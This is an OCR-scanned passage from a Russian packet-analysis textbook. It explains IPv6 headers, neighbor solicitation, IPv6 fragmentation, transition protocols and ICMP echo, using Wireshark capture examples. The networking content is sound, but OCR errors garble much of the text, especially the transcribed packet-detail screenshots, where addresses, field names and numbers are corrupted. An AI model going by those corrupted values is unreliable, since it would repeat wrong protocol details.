4 32 Длина полезной информации 1 Спедующий заголовок \ Предельное количество ~ходов 

8 64 

12 96 

16 128 
IР-адрес отправителя 

20 160 

24 192 

28 224 

32 256 
IР-адрес получателя 

36 288 

Рис. 7. 19. Структура заголовка в пакете /Pv6 

• Следующий заголовок (Next Header). Обозначает начало заголовка 
пакета четвертого уровня, который вложен после IРvб-заголовка. Это 

поле заменяет поле Protocol в 1Рv4-заголовке. 

• Предельное количество переходов (Нор Limit). Определяет время 
жизни пакета, измеряемое в количестве переходов через маршрутизато

ры. Это поле заменяет поле ТТL в 1Рv4-заголовке. 

• IР-адрес отправителя (Source IP Address ). IР-адрес хоста, пославший 
пакет. 

• IР-адрес получателя (Destination IP Address). IР-адрес хоста, для ко
торого предназначен пакет. 

А теперь сравним пакеты 1Pv4 и IPvб, чтобы выяснить некоторые отличия 
на примере их анализа из файла перехвата http_ip4andб.pcapng. В перехва

ченном трафике из этого файла веб-сервер бьш настроен на прослушивание 

соединений по обоим протоколам, 1Pv4 и IPvб, на одном и том же физиче
ском хосте. А единственный клиент был настроен как на 1Рv4-адреса, так и на 

IРvб-адреса для просмотра сервера независимо по каждому из своих адресов и 

загрузки страницы из файла index. php по протоколу НТТР через приложение 
библиотеки curl (рис. 7.20). 

Открыв файл перехвата, вы должны сразу же увидеть, какие именно паке

ты относятся к конкретному диалогу, исходя из адресов, указанных в столбцах 

Source и Destination подокна Packet List. В частности, пакеты 1-10 представ
ляют 1Рv4-поток (т.е. поток О), а пакеты 11-20 - IРvб-поток (т.е. поток 1). Каж
дый из этих потоков можно отсеять, перейдя в окно Conversations или же введя 
критерий tcp. stream = О или tcp. stream = 1 в строке фильтра. 



D 
Клиент Веб-сервер 

172.16.16.140 НТТР GЕТ /index.php 172.16.16.139 

2001 :db8:1 :2::1002 НТТР GЕТ /index.php 2001 :db8:1:2::1000 

Рис. 7.20. Соединения одних и тех же физических хостов с помощью 

разных версий протокола /Р 

Более подробно сетевой протокол НТТР, отвечающий за обслуживание 

веб-страниц в Интернете, будет рассмотрен в главе 8, "Протоколы транспорт

ного уровня". А в данном примере следует лишь заметить, что обслуживание 

веб-страниц остается согласованным независимо от применяемого сетевого 

протокола нижнего уровня. То же самое можно сказать и о сетевом протоко

ле ТСР, который также действует согласованно. И это яркий пример действия 

инкапсуляции. Несмотря на то что протоколы 1Pv4 и 1Pv6 функционируют 

по-разному, это не оказывает никакого влияния на протоколы, действующие 

на других уровнях. 

На рис. 7.21 непосредственно сравниваются два пакета, 1и11, выполняю

щие одинаковую функцию. Оба пакета относятся к типу ТСР SYN и предназна

чены для инициирования клиентом соединения с сервером. Части этих паке

тов, относящиеся к протоколам Ethernet и ТСР, почти одинаковы, тогда как 

части, относящиеся к протоколу IP, совсем разные. 

Ниже перечислены отличия, обнаруженные в результате непосредственно

го сравнения обоих пакетов. 

• Форматы адресов отправителя 0 и получателя Ф отличаются. 

• Длина 1Рv4-пакета составляет 74 байта, а длина полезных данных -

60 байт О, включая 1Рv4-заголовок, полезную информацию и 14-байто

вый Еthеrnеt-заголовок. Длина пакета 1Pv6 составляет 96 байт, причем 

40 байт приходится на полезную информацию 8, еще 40 байт - на 1Рv6-

заголовок и остальные 14 байт - на Еthеrпеt-заголовок. Длина 1Рv6-за

головка равна 40 байт, т.е. в два раза больше, чем длина 1Рv4-заголовка 

в 20 байт, чтобы учесть размер более крупного пространства адресов. 



• о 

Fro,.., 1: 74 byt•s on wir• (592 Ыts), 74 byt•s coptured (592 Ыts) 
Ethernet II, Src: V!llolare_dЗ:46:dd (ee:ec:29: dЗ:46:dd ), Dst: V..are_lf:a7:55 (80:8c:29:1f:a7:55) 
Intl!rnl!t Prot.oco1 Ve:rsion 4" Src: 172.16.16.148, Ost: 172.16 . 16.139 

8180 . . . . • Vl!!rsion: 4 
. . . . 8161 = Headl!!r Length: 28 bytes 
Diffl!!rt!!ntiated Seгvices Field: 8х80 (DSCP: cse, ECN: Not-ECТ) 

8008 00 .. = Diffeгentillted Seгvices Codepoint: ~fllult (8) 
..... . 00 • fxplicit Congestion Notification: Not ECN-Ci!paЫe Transpoгt (0) 

О Totol l ength: 60 
Identification: 0xfadf (64223) 

v Flogs: 8х92 (Oon't frog11ent) 
8 0... • Reserved bit: Not set 

.1 .... . . • Oon ' t fragoient: Set 

. . е . . ... - №re fragмnts: tlot se't 
Fra~nt offset: 0 

D Tiale to live: б4 
Protocol: ТСР (б) ф 

0 .., нeader checks,,.: ехс6о4 [validation disoЫed) 
(Good: False) 

• 

[ Bad : False] 
0 Source: 172.16.16.140 

~stination: 172.16 . 16.139 
[Source 6eoIP: Unknown] 
Г~stination GeoIP: Unknawn] 

"."rt<•<« '~ C-ont~• Protocol. Src Po<ot: SЗ3~8 !.53358\ Ost Port: 88 Тае\ Sea · е t•n· 8 

r 

fгоае 11: 94 byt•s оп wir• (752 bits), 94 bytes captured (752 Ыts) 
) Etherneт II, Src: v .... are_dЗ :4б : dd (00:8c:29:d3 :46: dd), Ost: v-ore_1f:o7:SS (00:8c :29:1f:o7:55) 

Int:ernet Protocol Version 6_. Src: 2001:db8:1:2: :1802, Dst: 2-&el:db8:1:2: :1806 
0118 .... • Version: 6 
. . . . 0000 8080 ........ , .... ....•. . = Traffic class: 8х80 (OSCP: С50, fCN: Not-ECТ) 

.... ееее ее.. . . . . . . . . . . . . . . . . . ... = O!fferentiated Services Codepoint : Default (9) 

х 

•....•. ... ее .............. .. .... = Explicit Congestion Notification: Not fCN-CapabL-
.• " " ...... веее ееее ееее 0000 ееее = FlowlaЬel : ехееееееее 

8 Рау load length: 40 
0 Next header: ТСР (6) 
Сi) Нор li•it: 64 
@ Source: 2081:dЬВ:1:2 : :1802 

~stin;ation: 2081:dЬ8:1:2: :1808 

-------------

Рис. 7.21 . Непосредственное сравнение пакетов /Pv4 (вверху} 
и /Pv6 (внизу}, выполняющих одну и ту же функцию 



• В протоколе 1Pv4 тип вложенного пакета обозначается в поле Ргоtосоl за
головка О, тогда как в протоколе IPvб - в поле Next header заголовка 0, 
которое может быть также использовано для указания заголовков рас

ширений. 

• В 1Рv4-заголовке имеется поле TTL О, тогда как в IРvб-заголовке ту же 
функцию выполняет поле Нор limit 0. 

• В 1Рv4-заголовок включается значение контрольной суммы 0, тогда как 
в IРvб-заголовке оно отсутствует. 

• Пакет 1Pv4 не фрагментируется, но все же включает в себя значения па
раметров фрагментации 8. А IРvб-заголовок не содержит подобные све
дения, поскольку фрагментация, если бы она потребовалась, была бы 

реализована в заголовке расширения. 

Непосредственное сравнение сетевого трафика по протоколам 1Pv4 и IPvб 
дает отличную возможность полностью оценить отличия в функционирова

нии сравниваемых протоколов. 

Опрос соседа и протокол ARP 

Файл перехвата icmpvб _ neighЬor _ 
solicitation.pcapng 

Когда мы ранее обсуждали разные катего

рии сетевого трафика, то перечислили ка-

тегории одноадресатного, многоадресат

ного и альтернативного трафика, но не упомянули широковещательный тра

фик. В сетевом протоколе IPvб широковещательный трафик не поддержива

ется, поскольку он считается неэффективным механизмом для передачи дан

ных. Вследствие этого протокол ARP нельзя применять для обнаружения хо

стами друг друга в сети. Как же тогда IРvб-устройства смогут обнаружить друг 

друга? 

Ответ на этот вопрос дает новая возможность, называемая опросом сосе

да (neighbor solicitation) и являющаяся функцией протокола NDP (Neighbor 
Discovery Protocol - протокол обнаружения соседей), для выполнения основ

ных функций которого применяется протокол ICMPvб, рассматриваемый в 

последнем разделе этой главы. С этой целью в протоколе ICMPvб применя

ется многоадресатный тип передачи данных, которые смогут получить и об

работать только те хосты, которые подписаны на поток этих данных. Много

адресатный трафик можно быстро распознать, поскольку у него имеется свое 

зарезервированное пространство IР-адресов (ffOO:: /8). 
Несмотря на то что процесс преобразования адресов опирается на другой 

протокол, в нем применяется очень простая последовательность запросов и 

ответов. Рассмотрим в качестве примера сценарий, в котором хосту с IРvб

адресом 2001: с1Ь8: 1: 2: : 1003 требуется связаться с другим хостом, который 
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обозначается адресом 2001: dЬS: 1: 2: : 1000. Как и в протоколе 1Pv4, передаю
щее устройство должно быть в состоянии определить канальный (МАС) адрес 

хоста, с которым ему требуется связаться, поскольку связь устанавливается 

внутри сети. Этот процесс наглядно показан на рис. 7.22. 

Клиент 

2001 :db8:1 :2::1003 
OO:Oc:29:2f:80:31 

ICMPvб опрос соседа (тип 135) 

ICMPv6 опрос соседа (тип 135) 

Файловый сервер 

2001:db8:1 :2::1001 
ОО:Ос:29:1 F:22:al 

" 

Веб-сервер 

2001 :db8:1:2::1000 
ОО:Ос:29: 1F:a7:55 

Почтовый сервер 

2001 :db8:1 :2::1002 
OO:Oc:29:fe:ea:1 е 

Рис. 7.22. Процесс опроса соседа для преобразования адресов 

В данном процессе хост по адресу 2001: dЬS: 1: 2: : 1003 посылает пакет с 

сообщением Neighbor Solicitation (ICMPvб type 135), которое означает опрос 
соседа и относится к типу 135 в протоколе ICMPvб, каждому устройству в сети 
в режиме многоадресатной передачи, запрашивая следующее: "Какой МАС

адрес устройства, имеющего IР-адрес 2001: dЬS: 1: 2: : 1000? Мой МАС-адрес -
00: OC:29:2f:80 :31 ". 

Устройство, которому присвоен этот IРvб-адрес, получит данный запрос, 

отправленный в режиме многоадресатной передачи, и в ответ отправит 



запрашивающему хосту пакет с сообщением Neigl1bor Advertiseшent (ICMPv6 

type 136), которое означает анонс соседа и относится к типу 136 в протоколе 

ICMPv6. Этот пакет, по существу, содержит такой ответ: "Привет! Мой сете

вой адрес - 2001:с1Ь8:1:2: :1000, а мой МАС-адрес - OO:Oc:29:lf:a7:55". Как 

только данный пакет будет получен, можно начинать передачу данных. 

Действие данного процесса можно наблюдать на примере файла перехва

та icmpvб _ neighbor _ solicitation. pcapng, где хосту, находящемуся по адресу 

2001: с1Ь8: 1: 2: : 1003, требуется свя:~аться с хостом, расположенным по адресу 

2001: с1Ь8: 1: 2: : 1000. Рассмотрим первый пакет и развернем его часть, отно

сящуюся к протоколу ICMPv6, в панели Packet Details (рис. 7.23), чтобы обнару

жить, что данный пакет относится к протоколу ICMPv6 типа 135 8 и отправ
лен из хоста с адресом 2001: с1Ь8: 1: 2: : 1003 хосту с многоадресатным адресом 

ff02: : 1: ffOO: 1000 О. Исходный хост предоставил 1Рv6-адрес хоста-получате

ля О, с которым ему требуется установить связь, наряду с собственным МАС

адресом второго уровня О . 

• Wiresha.1k · P1cket: 1 · icmpv6_ne19hbor_solicrtation о 

> Fr"""' 1: 86 bytes on wire (688 Ыts), 86 bytes captured (688 Ьits) 
Ethernet II, Src: v-are_2f:80:31 {88:9c:29:2f:80:31), Dst: IPvбtocast_ff:00:10:00 (33:33:ff:00:10:00) 

v Internet Protocol Version б, Src: 2881:db8:1:2: :1003, Drt: ff02: :l:ff00:1900 

0110 • . . . = Veгsion: б 

"" 0000 0000 "" "" "" "" "" • Tгaffic class: ехее (DSCP: CS0, ECll: Not-ECТ) 
. . . . . . . . . ... 8000 еее& 0008 0008 0000 = Flowlabel: 8х0000В000 

Payload length: 32 
Next headeг: I01Pvб (58) 
Нор lU.it: 255 
SOUгce: 290l:db8:1:2: :1003 

O D<ostination: ff02: :1: ff00:1900 
[ Souгce GeoIP: Unkncмn] 
[D<ostination GeoIP: Unknown] 

v Internet Contro1 Messase- Protocol vб 
Туре: NeighЬoг Solicitation (135) 8 
Code: 0 
Choclcsu11: &х44Ь7 [ coгrect] 
Reserved: евееееее 
Taгget Addгess: 2001:dЬ8:1:2: :1900 €) 

v IO\Pvб Option (Source link-layeг addгess : 00:0c:29:2f:80:31) 

Туре: Source linlc-!Jlyeг address (1) 
length: 1 (8 bytes) 
Link-layer address: V..are_2f:80:31 (00:0c:29:2f:80:31) О 

Рис. 7.23. Пакет опроса соседа 

х 

Ответ на запрос соседа находится во втором пакете из упомянуго

го выше файла перехвата. Развернув часть этого пакета, относящуюся к 

протоколу ICMPv6, в панели Packet Details (рис. 7.24), можно обнаружить, 

что он относится к протоколу ICMPv6 типа 136 8 и отправлен из хоста с 



адресом 2001:dЬ8:1:2: :1000 обратно хосту с адресом 2001:dЬ8:1:2: :1003 О. 
Он также содержит МАС-адрес 00: Ос: 29: lf: а.7: 55, связанный с адресом 

2001:dЬ8:1:2: :1000 . 

• Wire<hark. Packet 2 . icmpvf>_neighbor_<olicitation о х 

Fra11e 2: 86 bytes on wire (688 bits), 86 bytes captured (688 Ьits) 
Ethernet II, Src: llnм•re_lf:a7:55 (00:0c:29:1f:a7:55), Ost: V.Ware_2f:80:31 (00:8c:29:2f:8&:31) 

v Internet Protocol Veгsion б, Src: 2001:db8:1:2: :1110&, Dst: 20&1:db8:1:2: :10113 
0110 . . . . • Veгsion: 6 

> " .. 0110& 0110& •••• " •• " •.•.•••... • Tг•ffic cl•ss: 0><00 (DSCP: cs0, Ectl: Not-ECТ) 
..... . ...... 0000000000000000е&ее = FlowlaЬel: 0х0000000& 

P•yload length: 32 
Next headeг: IСМРvб (58) 
Нор limit: 255 
Souгce: 20111:db8:1: 2: : 1110& 
Oestination: 2001: db8: 1: 2: : 1003 
[Souгce GeoIP : Unknown] 
[Destin1tion GeoIP: Unknown] 

.., Internet Contгol ~ssage Protocol vб 
Туре: NeighЬor Advertisement (136) f} 
Code: 0 
Checksu11: 0х8ЬеЬ [ соггесt] 

v Flags: &х600&&000 
0 ... 

.1.. . .. ' ...... '. 

.. 1. ' ........ ' .. 

111: Routl!'r: Not s~t 

• Solicited: Set 
• Dveгride: Set 

, .. 0 0000 0000 0000 0000 0000 0000 0000 • Reserved: 11 
Target Addгess: 2001:db8:1:2: :1000 

v IСМРvб Option (Taгget link-layer address : 011:0c:29:1f:a7:55) 
Туре: Target link-loyeг addгess (2) 
Length: 1 (В bytes) 
Link-layer oddress: Vmware_lf:a7:55 (00:0c:29:lf:a7:55) @ 

Рис. 7.24. Пакет анонса соседа 

По завершении данного процесса хосты по адресам 2001: dЬ8 : 1: 2: : 1003 и 
2001: dЬ8: 1: 2: : 1000 начнут обмен пакетами в обычном режиме с эхо-запроса
ми и ответами по протоколу ICMPvб. Это, по существу, означает, что процесс 

опроса соседа и определения канальных адресов успешно завершен. 

Фраrментация пакетов 1Pv6 

Файл перехвата ipvб _ 
fragrnents.pcapng 

Поддержка фрагментации пакетов бьUiа встроена в за

головок протокола 1Pv4 для гарантии, чтобы пакеты 
могли последовательно проходить через самые разные 

сети, в которых ра:Jмеры блоков MTU заметно меняются. А в протоколе IPvб 
фрагментация пакетов используется в меньшей степени, поэтому параметры 

ее поддержки нс включаются в заголовок IPvб. При этом предполагается, что 

устройство, передающее пакеты IPvб, должно сначала запустить так называе-



мый процесс поиска размера блока MTU, чтобы определить максимальный раз

мер отправляемых пакетов, прежде чем фактически отправить их. Если же 

маршрутизатор получит пакеты, которые оказываются слишком длинными и 

превышают размер блока MTU той сети, куда они направляются, то он отбро
сит их и возвратит передающему устройству пакет с сообщением ICMPvб 

Packet Тоо Big (type 2), т.е. сообщение протокола ICMPvб типа 2 о том, что па
кет слишком велик. Получив это сообщение, передающее устройство попыта

ется снова послать пакет, но уже с меньшим блоком MTU, если только подоб
ное действие поддерживается в протоколе верхнего уровня. Этот процесс бу

дет повторяться до тех пор, пока не будет достигнут достаточно малый размер 

блока MTU или предел фрагментации полезной информации (рис. 7.25). Сам 
маршрутизатор вообще не отвечает за фрагментацию пакетов, поскольку от

ветственность за определение подходящего размера блока MTU в тракте пе
редачи и соответствующая фрагментация пакетов возлагается на передающее 

устройство . 

.......• " ... ·--···--·-
Клиент 

MTU 1500 
Маршрутизатор 

MTU 1500 

Пакет с максимальным 
размером (MTU) 1500 байт 

Маршрутизатор 

MTU 1400 
Веб-сервер 
мтu 1500 

• ICMPvб Packet Тоо Big (Туре 2) 

Фрагментированный пакет IPvб 
с максимальным размером (MTU) 1400 байт 

Рис. 7.25. Процесс поиска размера блока МТИ в тракте передачи 

Если протокол верхнего уровня, применяемый вместе с протоколом IPvб, 

не в состоянии ограничить полезную информацию в пакете, то фрагментация 

все еще необходима. В таком случае заголовок расширения для фрагментации 

может быть введен в заголовок IPvб. Соответствующий пример фрагментации 

пакетов IPvб можно найти в файле перехвата ipvб _ fragments. pcapng. 
У принимающего устройства размер блока MTU оказывается меньше, чем 

у передающего, и поэтому в данном файле перехвата имеются два фрагменти

рованных пакета, представляющих каждый эхо-запрос и ответ по протоколу 

ICMPvб. Заголовок расширения фрагментации из первого пакета показан на 

рис. 7.26. 
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• Wireshork. Pockd 1 · ipvб_frogm<flts 

> Fra.; l: 1510 bYt•• °" wire (12080 -Ыts), -ше bytes coptured (U080 bits) 
Etl>ornot II, Src: V.Ware_2f:00:31 (00:0c:29:2f:IUl:31). Dst: Apple_cb:b2:Sб (78:31:cl:cb:b2:Sб) 

v Inteгnet Protocol Ver-sion 6 1 Src: 2е01:dЫ:1:2: :1883, Ost: 2001:dЬ8:1:2: :1080 
0119 . . . . " Version: 6 

v .... 8000 800е .................... • Traffic class: ехве (OSCP: CS01 ECN: Ноt-ЕСТ) 
.... ееее ее .. ................... . с Diffeгent:iated Seгvices COdepoi..nt: Default (9) 

о 

......... . ее .................... :z Explicit Congestion Notification: Not ЕСN-СараЫе Transport (8} 
•••••••.•. . . еее0 9000 0000 000е 000е • FlowlaЬ.l: 0х-

Рау load length: 1456 
Uext header: Fг111pent Неаdег for IPvб ( 44) О 
Нор li•it: б4 
Souгce: 2881: dbB: 1: 2: : 1063 
~stination: 2001:db8:1:2: :l&eQ 
[Sourco GeoIP: Unknown] 
[Oestination 6eoIP: Unknown) 

v Fгas-ent ~adt:r 

Next hl!'1der: IСМРvб (SB} 
Reserved octet: &хееее 
0000 ееоо 0000 е ... • Offsot: е (е bytos) б 
. ........... . ее. • Reserved bits: 8 
• • . . . . • • . . . . . . . 1 а Моrе fra~nts: Yj!S С) 

1 

Idontification: Oxcd.60817 О 
R~aи!!!!Ьlfd IPv6 in frpe· 2 

> ~и,_.,.," 

hio.'1 • Tmttttl~·~ZOllJ.'t/!J«;J.:J:.Jf/DJ · ~ZIX11·dь&l:Z::l(}(J(} • Paao:J/:/~6 Uni;th;JSlD•Jlffo:/Pvf/r~(IJl!aiJmn-y~!iw-58) 

1 ао.. 

Рис. 7.26. Заголовок расширения для фрагментации пакетов /Pv6 

х 

Заголовок расширения размером 8 байт содержит те же самые свойства 
фрагментации, которые обнаруживаются в пакете 1Pv4, в том числе значение 
в поле Fragment offset 8, флаг в поле More Fragments О, а также значение в поле 
ldentification О. Вместо того чтобы присутствовать в каждом пакете, он добав
ляется только в конец заголовка пакетов, требующих фрагментации. Этот 

более эффективный процесс по-прежнему допускает надлежащую повторную 

сборку фрагментов в принимающей системе. А если имеется данный заголо

вок расширения, то в поле Next header будет указан именно он, а не протокол 
инкапсулируемого пакета О. 

Переходные протоколы к 1Pv6 

IРvб-адреса доставляют немало хлопот, а их внедрение происходило мед

ленно, поскольку для этого требовалось создавать переходную сетевую инфра

структуру. Для облегчения перехода к протоколу IPvб служит ряд протоколов, 

допускающих туннелирование обмена данными по протоколу IPvб через сети, 

поддерживающие только обмен данными по протоколу 1Pv4. И в этом смысле 
туннелирование означает инкапсуляцию обмена данными по протоколу IPvб 

в пакетах протокола 1Pv4 подобно другим протоколам. Такая инкапсуляция 
обычно реализуется одним из следующих способов. 



• Между маршрутизаторами. В этом случае туннель применяется для 

инкапсуляции трафика IPvб между передающим и принимающим хоста

ми в их сетях через сеть 1Pv4. Такой способ позволяет целым сетям об
мениваться данными по протоколу IPvб через промежуточные каналы, 

действующие по протоколу 1Pv4. 

• Между хостом и маршрутизатором. В этом случае инкапсуляция при

меняется на уровне маршрутизатора для передачи сетевого трафика из 

хоста IPvб через сеть 1Pv4. Такой способ позволяет отдельным хостам 
связываться с сетью IPvб, находясь в сети 1Pv4. 

• Между хостами. В этом случае организуется туннель между двумя ко

нечными точками для инкапсуляции трафика IPvб между хостами, спо

собными обмениваться данными по протоколу 1Pv4 или IPvб. Такой спо
соб позволяет конечным точкам сети IPvб обмениваться данными непо

средственно через сеть 1Pv4. 

В этой книге недостаточно места, чтобы подробно описать переходные 

протоколы. Тем не менее об их существовании полезно знать на тот случай, 

если потребуется их исследовать, выполняя анализ на уровне пакетов. Ниже 

вкратце описывается ряд наиболее употребительных переходных протоколов. 

• 6to4. Этот переходной протокол иначе называется !Рvб over !Pv4 и по
зволяет передавать пакеты IPvб через сеть 1Pv4. Он поддерживает ре
трансляторы и маршрутизаторы для обеспечения обмена данными по 

протоколу IPvб между маршрутизаторами, между хостами, а также меж

ду хостами и маршрутизаторами. 

• Teredo. Применяется для одноадресатной передачи по протоколу IPvб 
через сеть 1Pv4 с использованием протокола NAT (Network Address 
Translatioн - преобразование сетевых адресов). В этом случае пакеты 

IPvб посылаются через сеть 1Pv4 инкапсулированными в пакеты транс
портного протокола UDP. 

• ISATAP. Протокол внутрисайтовой адресации, допускающий обмен дан
ными исключительно между 1Pv4- и IРvб-устройствами в сети по образу 
и подобию, как между отдельными хостами сети. 

Протокол межсетевых управляющих 

сообщений (ICMP) 
Протокол ICMP (Interпet Control Message Protocol) является служебным 

протоколом, отвечающим в стеке протоколов ТСР /IP за предоставление ин
формации, касающейся доступности устройств, служб или маршрутизаторов в 

сети ТСР /IP. Большинство инструментальных средств и методик диагностики 
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сетей сосредоточены на общих типах сообщений протокола ICMP. Сетевой 
протокол ICMP определен в стандарте RFC 792. 

Структура заголовка в пакете ICMP 
Протокол ICMP является частью протокола IP и использует его для пере

дачи своих сообщений. Протокол ICMP содержит относительно небольшой 
заголовок, изменяющийся в зависимости от его назначения. Как показано на 

рис. 7.27, IСМР-заголовок состоит из следующих полей. 

Протокол межсетевых управляющих сообщений (ICMP) 

Смещение Октет о 1 2 1 3 
Октет Бкт 0-7 8-15 16-23 1 24-31 

о о Тип Код Контрольная сумма 

4+ 32+ Переменная 

Рис. 7.27. Структура заголовка в пакете /СМР 

• Тип (Туре). Тип или категория сообщений в протоколе ICMP на основа
нии спецификации RFC. 

• Код (Code). Подкатегория сообщений в протоколе ICMP на основании 
спецификации RFC. 

• Контрольная сумма (Checksum). Служит для гарантии неизменности 
IСМР-заголовка и данных, когда они поступят к получателю. 

• Переменная (VariaЫe ). Часть заголовка, изменяющаяся в зависимости 
от содержимого полей Туре и Code. 

Типы и коды сообщений протокола ICMP 
Как отмечалось ранее, структура пакета ICMP зависит от его назначения, 

что определяется значениями в полях Туре и Code. Содержимое поля Туре из 

заголовка пакета ICMP можно рассматривать как определенную категорию па
кета, а содержимое поля Code - как его подкатегорию. Например, значение З в 

поле Туре обозначает, что получатель недоступен. Одних только этих сведений 

явно недостаточно для диагностики неполадок в сети. Но если бы значение З 

было указано и в поле Code, обозначая недоступность порта, то на этом основа
нии можно было бы сделать вывод, что на компьютере получателя недоступен 

порт, через который предпринимается попытка организовать обмен данными. 

le!QШ!ilфШ!i Полный переченъ типов и кодов, доступных в протоколе /СМР, можно 

найти по адресу http://www.iana.orq/assiqnments/icmp-para
meters/. 
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Эхо-запросы и ответы 

Файл перехвата Особым предметом гордости протокола ICMP является 
icmp_echo.pcapng утилита ping, применяемая для тестирования текущего 

состояния соединения между устройствами сети. И хотя 

утилита ping не входит в спецификацию протокола ICMP, тем не менее, она 
применяет этот протокол для реализации своих основных функциональных 

возможностей. 

Чтобы воспользоваться утилитой ping, введите ping ip-a,qpвc в командной 

строке, заменив iр-адрес конкретным IР-адресом устройства в своей сети. Если 

целевое устройство включено, то у исходного устройства появится путь для 

передачи ему данных. В итоге вы должны увидеть на экране реакцию устрой

ства на команду ping, если только эту передачу не заблокирует брандмауэр. 

В примере, приведенном на рис. 7.28, демонстрируются четыре удачных 
ответа с указанием их длины, времени на передачу и подтверждение приема 

и времени жизни пакетов. По окончанию работы эта утилита предоставля

ет также сводку о количестве переданных, принятых и потерянных пакетов. 

Если при передаче данных произойдет сбой, то должно появиться сообщение 

о его причине. 

Рис. 7 .28. Команда pinq предназначена для тестирования связи 
между узлами сети 

По существу, команда ping посылает по очереди пакеты проверяемому 

устройству и принимает от него ответ, чтобы выяснить, имеется ли связь с 

этим устройством (рис. 7.29). 

D \ ....______ _эхо-з_апрос -> D 
~~~-э_хо_-о_т_е_т~~~~-'' ~~:~~~ 

Рис. 7.29. Команда pinq выполняется в два этапа 



l1IQШIP1ililil Несмотря на то 'Что утшtита ping уже давио применяется в /Т-отрас
ли, на резул1,таты ее jюботы могут повлШtть брандмауэры, запущенные 

на хостах или маршрутизаторах. Ведь многие современные брандмау

эры накладывают ограни'ЧеНШl на возможности устройства реагир~ 

вать на пакеты /СМР. И это совсем не плохо с тО'Чки зрения. безопас

ности, поС'Кольку ЗJtоумышленники обычно полъзу10тся утилитой ping, 
чтобы вь1Яснить доступность хоста для их ЗJtовредных действий. Но в 

то же время наличие брандмауэров иногда затрудняет диагностику 

сети, поС'Кольку бы.ло бы неудовлетворительно запустить утилиту ping 
для проверки состоянШt связи с устройством и пе получить от него от

вет, заранее зная, что с этим устройством можно поддерживать нор

мальную связь. 

Действие угилиты ping служит отличным примером простого обмена дан
ными по протоколу ICMP. Пакеты из файла перехвата icmp _ echo. pcapng де
монстрируют, что происходит при выполнении угилиты ping. 

В первом пакете (рис. 7.30) из данного файла демонстрируется, что хост 
по адресу 192 .168 .100 .138 посьшает пакет хосту, находящемуся по адресу 
192 .168 .100 .1 О. Если развернугь часть этого пакета, относящуюся к прото
колу ICMP, то тип пакета ICMP можно определить, глядя на поля Туре и Code. 
В данном случае пакет относится к типу 8 8, а его код равен нулю 8, указы
вая на эхо-запрос. (Приложение Wireshark должно подсказать, что именно 
отображается в полях Туре и Code.) Но послать эхо-запрос - это лишь полде

ла. Ведь речь идет о простом пакете ICMP, который посылается с помощью 

протокола IP и содержит небольшой объем данных. Помимо типа, кода и 

контрольной суммы, имеется порядковый номер для объединения запросов 

и ответов в пары, а также произвольная тестовая строка в переменной части 

пакета ICMP. 

"'PШIQlllll Чтобы не путать термины эхо и pi.ng, с.ледует иметъ в виду, что рi.пg
это название утилиты, применяемой д11Я отпраВ'Ки пакетов с эхо

запросами по прот01Солу ICMP. 

Второй пакет в данной последовательности содержит ответ на эхо-запрос 

(рис. 7.31). В части данного пакета, относящейся к протоколу ICMP, указан ну
левой тип О и нулевой код 8, что, по существу, обозначает эхо-ответ. А по
скольку порядковые номера и идентификаторы во втором и в первом пакетах 

совпадают 8, то можно сделать вывод, что данный эхо-ответ соответствует 
эхо-запросу из предыдущего пакета. Значения в соответствующих полях ука

заны в формате с обратным (ВЕ) и прямым (LE) порядком следования байтов. 
Иными словами, в этих полях представлены данные в том порядке, в каком 



они должны быть обработаны в конкретной конечной точке. Кроме эхо-отве

та, второй пакет содержит такую же 32-байтовую символьную сроку данных, 

как и в переданном эхо-запросе. Как только второй пакет будет получен по 

адресу 192 .168 .100 .138, утилита сообщит об удачном завершении проверки 

связи . 

• Wir6hark · Pack~ 1 · 1cmp_e<ho о 

r Fг- 1: 74 byt;;- on wlre (592 Ыts), 74 bytes coptuгed (S92btt;} 

"

>> Ethernet II, Sгс: C011polco_b8:S9:Ы (80:16:d4:Ь8:59:Ы), Dst: Ciscoinc_4b:c9:7f (80:12:В0:4Ь:с0:7f) 
Internet Protocol Version 4, Sгс: 192.168.190.138, Dst: 192.168.180.1 О 

Internet Cont:rol ~ssage Protocol 
б Туре: 8 (Echo (ping) request) 
~ Code: е 

1 

ChecksU'18: 0x14Sc [correct) 
Identifier (Bf) : 12811 (11х0590) 

Identifier (LE): s (exeees) 
Sequence n...Ьег (ВЕ): 13312 (0х3490) 
~quence n...Ьer (LE): S2 (llx0934) 
[Res29nsc frвme ; 21 

" D•t• (32 bytes) 
Doto: бlб2б3б4б5бб67б8б9бобЬ6сбdбебf7071727374757б77бl ... 
[ Length: 32) 

х 

No .. 1 · r,,,_ fAOODOOiJ • 5:ur8t Jf2.168.Ja'J.1J8 Dttюмooti.· J!Jl.16/LJ(J(J.J РtоФа3': Ja.tP · ~ 1'4 · Jrt/'r7! Еdю ~ IW/(A'St 11'.:~ $11Jq::zlЗЗ11/5l, ttk:U8 {г.рiу .1 

Рис. 7.30. Пакет с эхо-запросом по протоколу /СМР 

• wir"horlc. Packet 2 • ICmp_echo о 

,...- -- - --
) Froie 2: 74 bytes on wire (S92 Ьits), 74 Ьytes copturt>d (592 Ыts) 

> Etheгnet II, Src: Ciscoinc_4b:c0:7f (09:12:80:4b:c0:7f), Dst: СО11ра1Со_Ь8:59:Ы (OO:lб:d4:ЬS:S9:Ы) 

> Interne-t Protocol Version 4, Src: 192.168.108.1 1 Dst: 192.168.100.138 
v Internet Control '11!!:.ssвge Protocol 
О Туро: 0 (Echo (ping) герlу) 
@ codo: е 

Checksu11: 0xlcSc [correct] 
Identifieг (ВЕ): 1260 (0x0SOO) 
Identifieг (LE): 5 (0xll09S} 

~ Sequence nu•ber (Bf): 13312 (11х3490) 
~quence nUJ1Ьer (lf) : 52 (11х90З4) 

f Rcoucst fгаи: 11 
[Response tU..: 0. 776 18S) 

" Dota (32 Ьytes) 
О Dota: б162б3б4бSббб7б869бобЬ6сбdбебf7е71727374757б77бl . .. 

(Length: 32) 

х 

No.11 • f.m&":D..DII0776•.sc:x.r.J!Jl.l6&JOl1./ • ~1,1.ll&J00..1.J8 • Profot:D/:_ · ~;µ · !""1:Edю(Jwrg)nipy..1 ... ~Aq81JJ11./fl,d-JSS(requst.llfl) 

Рис. 7.31. Пакет с эхо-ответом по протоколу /СМР 

Чтобы увеличить размер заполняемого данными поля в эхо-запросе и тем 

самым принудить к фрагментации пакетов, можно воспользоваться соответ

ствующим параметром (-s в системах Uпix и -1 в системе Wiпdows) команды 

pinq. Такая необходимость может возникнуть при проведении различных ви

дов диагностики сетей, где требуются меньшие размеры фрагментов. 



